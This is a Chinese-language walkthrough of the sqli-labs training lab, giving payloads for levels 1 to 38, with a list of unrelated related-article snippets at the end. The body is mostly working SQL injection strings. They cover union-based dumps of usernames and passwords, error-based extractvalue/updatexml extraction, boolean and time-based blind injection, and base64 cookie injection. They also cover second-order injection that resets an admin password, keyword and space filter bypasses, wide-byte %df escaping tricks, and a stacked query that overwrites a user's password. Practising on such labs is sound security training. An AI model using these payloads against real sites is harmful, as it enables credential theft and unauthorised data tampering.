第一关   1'

第二关   1

第三关    1')

第四关    1'')

第五关   1'     +         extractvalue报错注入

第六关   1 "  +          extractvalue报错注入

第七关    1')) and ascii 或者   1')) and substr     布尔盲注

第八关布尔盲注

第九关?id=1' and sleep延时

第十关?id=1" and sleep延时

第十一关    登录处  post型

第十二关 uname=-Dumb") post注入

第十三关  布尔盲注  ')  and updatexml  post型

第十四关  布尔盲注  ")  and updatexml  post型

第十五关  布尔盲注

第十六关  布尔+延时

第十七关  在passwd后面加

第十九关     修改url参数

第二十关     控制台  document.cookie

第二十一关 单引号加括号的base64报错注入

第二十二关   控制台  base64加密

第二十三关 单引号注入,-- 和#被过滤掉 ?id=-1' ' ?id=-1' union select 1,2,database() '

第二十四关  二次注入

第二十五关    ‘and和or被过滤掉

第二十五a关    “and和or被过滤掉

第二十六关  单引号的联合查询,对空格、and、or、注释过滤

第二十六a关  单引号加括号的闭合,由于对空格、注释、and、or进行了过滤

第二十七关    单引号,对注释、空格,还有union的两次关键字绕过和select的三次绕过

第二十七a关  双引号,对注释、空格,还有union的两次关键字绕过和select的三次绕过

第二十八关  单引号加括号,对注释和空格进行过滤

第二十八a关  单引号加括号,在url上对union和select之间加入%a0就行

第二十九关  参数污染  ?id=1 & id=-2' union select 1,2,database()--+

第三十关  双引号,有参数污染  ?id=1&id=-2" union select 1,2,database()--

第三十一关  双引号加括号的联合查询,有参数污染

第三十二关    宽字节%df' +  转义hex编码

第三十三关 单引号宽字节注入,对引号转义,在url上在id和引号之间加&df

第三十四关单引号的前面加汉字或者特殊符号

第三十五关  数字型的联合查询

第三十六关  单引号的宽字节注入

第三十七关  单引号的宽字节注入的报错注入

第三十八    ?id=-1'; update  堆叠改密码


第一关

先判断是否位数字型注入

and 1=1    and1=2    查看回显内容,不同则是数字型注入

再判断是否是字符型注入

‘ and 1=1 --    ‘and1=2-- 查看回显内容,不同则是字符型注入

根据结果判断位字符型注入

?id=1'  order by 5 #    先试一试是否位5列

?id=1'  order by 3 --+   最后得出是3列

因为前面判断出一共显示3列,所以这边写出3列来看具体是哪几列会回显,并在id的数字前加“-”号,为了输出显示我们的结果

  ?id=-1'  union select1,2,3 --+

判断出是2,3列回显,则在2,3列处进行具体的查询

数据库

?id=-1'  union select1,2,database() --+

查出当前数据库为security

?id=-1'  union select 1,2,schema_name from information_schema.schemata --+

由于只能显示1行,所以用函数group_concat()来吧所有信息几行的内容显示在一行上,并用“,”进行分割

数据库

?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+

由于数据库中有很多表,我们前面已经确定当前数据库是security,以他为条件进行查


?id=-1'  union select 1,2,group_concat(table_name)from information_schema.tables where table_schema ='security' --+

字段

?id=-1'  union select 1,2,group_concat(column_name)from information_schema.columns where table_schema ='security' andtable_name='users' --+

可以判断username和password存储的是账户和密码,下来就可以真正的查询信息

数据

?id=-1'  union select1,2,group_concat(concat(username,0x7e,password)) from users --+

concat()函数是将多列合并成一列进行显示,0x7e是~的16进制,作为分割好看

第二关

?id=1 and 1=1     ?id=1 and 1=2回显不同,为数字型注入

列数               ?id=1 order by 3

判断回显列数为3列

在id数字前面加“-”号,为了输出显示我们想要的结果

回显   ?id=-1 union select 1,2,3

回显位置为2,3列,在2,3列上写数据

数据库  ?id=-1 union select 1,2,database()

第三关

?id=1') and 1=1 --+

?id=1') and 1=2 --+

?id=1')  order by 3 --+

回显 ?id=-1')  union select1,2,3 --+

数据库   ?id=-1')  union select1,2,database() --+

第四关

?id=1") and 1=1 --+

?id=1") and 1=2 --+

列数   ?id=1") order by 3 --+

回显    ?id=-1") union select 1,2,3 --+

数据库

?id=-1") union select 1,2,database() --+

第五关

?id=1' and 1=1 --+

?id=1' and 1=2 --+

列数  ?id=1' order by 3 --+

回显  ?id=-1' union select 1,2,3 --+

报错注入采用“””和“’”来看页面有没有报数据库错误,如果有,则存在报错注入

?id=1'

1.  extractvalue()函数查看

extractvalue(1,2)  1为xml字符串,一般我们写成1,2为路径,我们用特殊字符来使其报错,一般用~(0x7e)就行

?id=1' and extractvalue(1,concat(0x7e,111111, 0x7e))  --+

在两个0x7e的()里写数据

数据库

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))  --+

数据库

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ), 0x7e))  --+

由于数据库报错信息有位数限制,不能显示全,我们可以用limit进行,也可用substr组合bp使用

显示第一条内容

?id=1' and extractvalue(1,concat(0x7e,(select schema_name

from information_schema.schemata limit 0,1),0x7e))  --+

显示第二条内容

?id=1' and extractvalue(1,concat(0x7e,(select schema_name

from information_schema.schemata limit 1,1),0x7e))  --+

?id=1' and extractvalue(1,concat(0x7e,(select  substr(group_concat(schema_name),1,20)

from information_schema.schemata),0x7e))  --+

截取从第20字节开始共20字节的内容

?id=1' and extractvalue(1,concat(0x7e,(select  substr(group_concat(schema_name),20,20)

from information_schema.schemata),0x7e))  --+


?id=1' and extractvalue(1,concat(0x7e,(select  substr(group_concat(table_name),10,20)

from information_schema.tables wheretable_schema="security"),0x7e)) --

字段

?id=1' and extractvalue(1,concat(0x7e,(select  substr(group_concat(column_name),1,20)

from information_schema.columns wheretable_schema="security" and table_name="users"),0x7e))  --+

数据
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(concat(username,0x7e,password)),1,20)

from users),0x7e))  --+

第六关

?id=1" and 1=1 --+

?id=1" and 1=2 --+

报错?id=1"

数据库

?id=1" and extractvalue(1,concat(0x7e,(selectdatabase()),0x7e)) --+

第七关

?id=1')) and 1=1--+

?id=1')) and 1=2--+

因为没有回显位置和报错注入,但正常和错误的页面的不同,所以用布尔盲注

可以试长度,用二分法,最后确定数据库名字的长度位8位

?id=1')) and length(database())=8--+

substr是从第一位截取一个单词,ascii是转换成数字进行判断

数据库名字

?id=1')) and ascii(substr(database(),1,1))=115 --+

115对应的单词是s,我们可以用s来看看第一位是不是s

?id=1')) and substr(database(),1,1)='s' --+

下来看第二个单词

?id=1')) and ascii(substr(database(),2,1))=101--+

101对应的单词是e,检验一下

?id=1')) and substr(database(),2,1)='e'--+

不同的方法都可以判断数据库的名字

?id=1')) and substr((select schema_name frominformation_schema.schemata limit 0,1),1,1)='i'--+

?id=1')) and (select substr(group_concat(schema_name),1,1)from information_schema.schemata)='i' --+

第八关

单引号的布尔盲注

?id=1' --

判断当前数据库长度

?id=1' and length(database())=8 --+

第九关

单引号的延时注入

?id=1' and sleep(5) --+

判断当前数据库长度

?id=1' and if (length(database())=8,sleep(5),0) --+

第十关

双引号的延时注入

?id=1" and sleep(5) --+

判断当前数据库长度

?id=1" and if(length(database())=8,sleep(5),0)--+

第十一关

判断注入类型

uname=Dumb' and 1=1-- &passwd=Dumb

uname=Dumb' and 1=2-- &passwd=Dumb

列数 uname=Dumb' order by 2-- &passwd=Dumb

判断回显

uname=-Dumb' union select 1,2-- &passwd=Dumb

判断当前数据库

uname=-Dumb' union select 1,database()-- &passwd=Dumb

第十二关

双引号加括号的报错注入

uname=-Dumb") --  &passwd=Dumb

查出当前数据库

uname=-Dumb")  and updatexml(1,concat(0x7e,database()),1)-- &passwd=Dumb

第十三关

单引号加括号的报错注入和布尔盲注

uname=Dumb') -- &passwd=Dumb

查出当前数据库

uname=Dumb')  and updatexml(1,concat(0x7e,database()),1)--&passwd=Dumb

第十四关

双引号的报错注入

uname=Dumb" -- &passwd=Dumb

查出当前数据库

uname=Dumb" and updatexml(1,concat(0x7e,database()),1)-- &passwd=Dumb

第十五关

单引号的布尔盲注和延时注入

uname=Dumb' --  &passwd=Dumb

判断当前数据库长度

uname=Dumb'and length(database())=8-- &passwd=Dumb

第十六关

双引号加括号的布尔盲注和延时注入

uname=Dumb") --  &passwd=Dumb

判断当前数据库长度

uname=Dumb") and if (length(database())=8,sleep(5),0)-- &passwd=Dumb

第十七关

单引号的报错注入(在passwd后面加)

uname=Dumb&passwd=Dumb' --

查出当前数据库

uname=Dumb&passwd=Dumb' andupdatexml(1,concat(0x7e,database()),1)--+

第十九关

配置环境

url里的localhost改成自己的ip,否则bp抓不到包

第二十关

必须是正确的用户名,cookie的双引号没关系,判断类型是根据用户名后面加

document.cookie="uname=Dumb' and 1=1 --+"

 document.cookie="uname=Dumb' and 1=2 --+"

列数

document.cookie="uname=Dumb' order by 3--+"

回显

document.cookie="uname=-Dumb' unionselect 1,2,3 --+"

数据库

document.cookie="uname=-Dumb' unionselect 1,2,database() --+"

第二十一关

单引号加括号的base64报错注入

document.cookie="uname=Dumb') -- "

document.cookie="uname=RHVtYicpIC0tIA=="

查出当前数据库

document.cookie="uname=Dumb') andupdatexml(1,concat(0x7e,database()),1)--

document.cookie="uname=RHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKS0tIA=="

第二十二关

uname的RHVtYg==是base64加密后的,解密后是Dumb,跟name一样,我们在通过cookie写入代码的时候,要通过base64加密后传入

document.cookie="uname= Dumb" -- "

document.cookie="uname=RHVtYiIgLS0g"

列数

document.cookie="uname= Dumb" order by 3-- "

document.cookie="uname=RHVtYiIgb3JkZXIgYnkgMy0tIA=="

判断回显位置

document.cookie="uname=-Dumb" union select 1,2,3--"

document.cookie="uname=LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMy0tICA= "

判断当前数据库

document.cookie="uname=-Dumb" union select1,2,database()-- "

document.cookie="uname=LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKS0tICA="

第二十三关

单引号注入,-- 和#被过滤掉

?id=-1' '

查出当前数据库

?id=-1' union select 1,2,database() '

第二十四关

二次注入     先创建账号admin’#   和admin重名,因为#没有被注释,所以还是可以注册,但在修改密码的时候,admin’#的#被注释掉了,修改的其实是admin的密码  admin的密码是admin

注册账号admin’#   密码123123

现在数据库有了admin’#的账号

现在修改admin’#的密码位123.com

数据更新的是admin的密码,由于此时的#被注释掉了

第二十五关

单引号的联合查询,and和or被过滤掉

?id=-1' union select 1,2,

group_concat(column_name) from infoorrmation_schema.columns where

table_schema="security" aandndtable_name="users"—

里面的infoorrmation 和aandnd的or和and采用替换关键字来绕过,就是在and里套and

第二十五a关

数字型的联合查询,and和or被过滤掉

?id=-1
union select 1,2,group_concat(column_name) from
infoorrmation_schema.columns wheretable_schema="security" aandnd
table_name="users"

第二十六关

单引号的联合查询,对空格、and、or、注释过滤

注释过滤我们采取后闭合方式      ‘       ‘ ,缺点是大量的sql语句无法执行

对空格我们采取在url里用%a0来代替空格,空格的代替方法有很多,但是有的是根据版本来决定,%20 %09 %0a %0b %0c %0d %a0 /**/ ,都是空格的代替,最好用的还是%a0.

?id=a'union%a0select%a01,2,database()'

第二十六a

单引号加括号的闭合,由于对空格、注释、and、or进行了过滤,我们这里的闭合不能光采用后闭合方式,因为有括号,我们前面的也要加上括号进行或者引号加括号

?id=a')union%a0select (1),(database()),('3

第二十七关

单引号联合查询,对注释、空格,还有union的两次关键字绕过和select的三次绕过

?id=a'uunionnion%a0ssselectelectelect%a01,2,database()'

第二十七a

双引号联合查询,对注释、空格,还有union的两次关键字绕过和select的三次绕过

?id=a"uunionnion%a0ssselectelectelect%a01,2,database()"

第二十八关

单引号加括号的联合查询,对注释和空格进行过滤

?id=a')union%a0select(1),(database()),('3

第二十八a

单引号加括号的联合查询,只对union select进行了过滤,使用关键字不行,在url上对union和select之间加入%a0就行

?id=a') union%a0select 1,2,database()--+

第二十九关

单引号的联合查询,有参数污染(可以写多个id,只对最后一个id=3起作用。?id=1&id=2&id=3)

id=1时的账号位Dumb

?id=1--+

参数污染时,为最后一个id被查到

?id=1&id=2

?id=1 & id=-2' union select1,2,database()--+

第三十关

双引号的联合查询,有参数污染

?id=1&id=-2"

union select 1,2,database()--

第三十一关

双引号加括号的联合查询,有参数污染

?id=1&id=-2") union select1,2,database()--+

第三十二关

?id=1%df%27%20and%201=1%20--%20    这是url上的    宽字节是由于php连接数据库用的是gbk编码格式,数据库对字符进行了转义,用反斜杠转义,%df可以使反斜杠转义失效,其和反斜杠会通过gbk编译成汉字从而失效

?id=1%df' and 1=1 --+

?id=1%df' and 1=2 --+

数据库

?id=-1%df' union select 1,2,database() --+

由于反斜杠对单双引号进行了转义,table_schema=”security”里的引号也被转义,所以要对引号内的字符进行hex编码,也就是16进制编码,得到的结果位7365637572697479,再在这前面加上0x,是为了表示位16进制编码的

?id=-1%df' union select 1,2,group_concat(table_name) from

information_schema.tables where table_schema=”security”--+

转化为

?id=-1%df' union select 1,2,group_concat(table_name) frominformation_schema.tables where table_schema=0x7365637572697479 --+

数据

?id=-1%df' union select 1,2,group_concat(concat(username,0x7e,password))from users --+

第三十三关

单引号的宽字节注入,对引号进行了转义,在url上在id和引号之间加&df

?id=-1 %df' union select 1,2,database()--

第三十四关

单引号的宽字节注入的报错注入,但是在post里添加%df就没有用,因此在单引号的前面加汉字或者特殊符号,可以使注释不起作用

一般post里的宽字节,用报错注入

uname=Dumb�'and

updatexml(1,concat(0x7e,database()),1) -- &passwd=Dumb或

uname=Dumb汉'and updatexml(1,concat(0x7e,database()),1) -- &passwd=Dumb

第三十五关

数字型的联合查询

?id=-1 union select 1,2,database()

第三十六关

单引号的宽字节注入

?id=-1%df' union select 1,2,database() --+

第三十七关

单引号的宽字节注入的报错注入

uname=Dumb�'andupdatexml(1,concat(0x7e,database()),1) -- &passwd=Dumb

第三十八关

?id=1'  and 1=1--+

?id=1'  and 1=2--+

数据

?id=-1'  union select1,2,group_concat(concat(username,0x7e,password)) from user--+

堆叠注入

?id=-1'; update users set password='666' where username='Angelina' --+

我们查看id=2的密码是否改为666

?id=2

sqli-labs靶机的更多相关文章

  1. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Linux中查看网络命令

    tcp三次握手,所以一直在listening,在等待信号 udp是没有listening状态的,因为不管你在不在都会发信息给你. netstat -r  =route -n  可以查看路由

  2. QGIS如何打开ArcGIS创建的GDB数据库文件

    引言 QGIS作为一种开源的地理信息处理软件由于其界面友好.渲染速度快.开源免费等特性而获得业内很多人士的青睐,然而在实际的生产和处理过程中,GIS数据往往存储在ArcGIS的文件地理数据库(Geod ...

  3. Pytest学习笔记9-失败重跑

    前言 在进行自动化测试的过程中,我们一定会有这样的需求:希望失败的用例可以自动重跑 在pytest中,提供了pytest-rerunfailures插件可以实现自动重跑的效果 插件安装 pip命令安装 ...

  4. 什么是DDoS黑洞路由?

    1. 什么是DDoS黑洞路由? DDoS黑洞路由/过滤(有时称为黑孔)是缓解DDoS攻击的一种对策,网络流量将被路由到"黑洞"中并且丢失.如果在没有特定限制条件下实施黑洞过滤,合法 ...

  5. .Net Core 常用开发工具(IDE和运行时、Visual Studio插件、Visual Studio Code插件)

    IDE和运行时 组件名 描述 可选版本 推荐版本 Visual Studio Community 社区免费版 For Visual Studio 2017 For Visual Studio 2019 ...

  6. 18、lnmp_wordpress安装

    18.1.[root@web01 nginx]# mysql -uroot -p123456 mysql> show databases; #显示所有的数据库: +--------------- ...

  7. 39、mysql数据库(视图)

    39.1.视图: 0.创建表及插入数据: 1.创建teacher表及插入数据: (1)创建表: CREATE TABLE teacher( tid int PRIMARY KEY auto_incre ...

  8. POJ 1584 A Round Peg in a Ground Hole 判断凸多边形 点到线段距离 点在多边形内

    首先判断是不是凸多边形 然后判断圆是否在凸多边形内 不知道给出的点是顺时针还是逆时针,所以用判断是否在多边形内的模板,不用是否在凸多边形内的模板 POJ 1584 A Round Peg in a G ...

  9. Vulkan移植GPUImage的安卓Demo展示

    演示Android apk下载 需要Android 8以上. 先看效果图,大约一百多种滤镜,有超过一半的滤镜有参数设置,其参数调整界面使用反射自动生成与绑定. 如下每种选择一些进行展示. 视觉效果 图 ...

  10. Springboot quartz集群(3) — 多节点发送邮件

    本期将提供quartz集群能力 集群案例分析: 上一期的邮件发送功能,若在服务需要部署多节点,但定时任务不支持集群,因此,多节点定时任务势必会同时运行, 若向用户发送邮件通知,这种情况下会向用户发送两 ...